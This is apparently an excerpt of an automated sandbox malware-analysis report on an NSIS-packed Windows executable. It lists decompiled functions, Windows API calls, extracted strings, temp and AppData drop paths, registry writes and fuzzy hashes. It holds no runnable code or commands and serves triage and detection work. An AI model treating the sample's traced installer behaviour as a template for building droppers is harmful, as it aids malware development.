GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEd20, xrefs: 00403D06
_Nb, xrefs: 00403C5C, 00403CC4
1033, xrefs: 00403AF8, 00403B54
(7B, xrefs: 00403B04
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.exe, xrefs: 00403BE6
RichEd32, xrefs: 00403D14
RichEdit, xrefs: 00403D33
RichEdit20W, xrefs: 00403D24, 00403D2A

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1642274604
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\4AMVusDMPP.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\4AMVusDMPP.exe,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
soft, xrefs: 00403020
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
C:\Users\user\Desktop\4AMVusDMPP.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017
Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\4AMVusDMPP.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2955704833
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Venke,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Venke,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\nslE077.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Iw\Venke, xrefs: 0040179E

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Iw\Venke$C:\Users\user\AppData\Local\Temp\nslE077.tmp$C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll$Call
API String ID: 1941528284-2558389931
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-1876063424
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 6E881777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E881B5F: GlobalFree.KERNEL32(?), ref: 6E881DB2
Part of subcall function 6E881B5F: GlobalFree.KERNEL32(?), ref: 6E881DB7
Part of subcall function 6E881B5F: GlobalFree.KERNEL32(?), ref: 6E881DBC

GlobalFree.KERNEL32(00000000), ref: 6E881825
FreeLibrary.KERNEL32(?), ref: 6E8818AB
GlobalFree.KERNEL32(00000000), ref: 6E8818D0

Part of subcall function 6E882352: GlobalAlloc.KERNEL32(00000040,?), ref: 6E882383

Part of subcall function 6E882724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6E8817F6,00000000), ref: 6E8827F4

Part of subcall function 6E8815C6: wsprintfW.USER32 ref: 6E8815F4

Strings

, xrefs: 6E8818B1

Memory Dump Source

Source File: 00000000.00000002.1796014178.000000006E881000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E880000, based on PE: true

Associated: 00000000.00000002.1795909568.000000006E880000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796060070.000000006E884000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1796249019.000000006E886000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e880000_4AMVusDMPP.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 12c1c28e3397a4bdab3c17b2bfaf9f553d89e543ce4fb0eb83fe92e18f2c65d8
Instruction ID: de1a17282db49456abdded680bf02dc4d26aaad2d95bd1e8c546aad401629c62
Opcode Fuzzy Hash: 12c1c28e3397a4bdab3c17b2bfaf9f553d89e543ce4fb0eb83fe92e18f2c65d8
Instruction Fuzzy Hash: E8419F7150030A9BDB509FE8D895BD737ACBF06314F144CA5ED6AAE1C6DFB89088C7A0

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nslE077.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nslE077.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nslE077.tmp
API String ID: 2655323295-3292405124
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
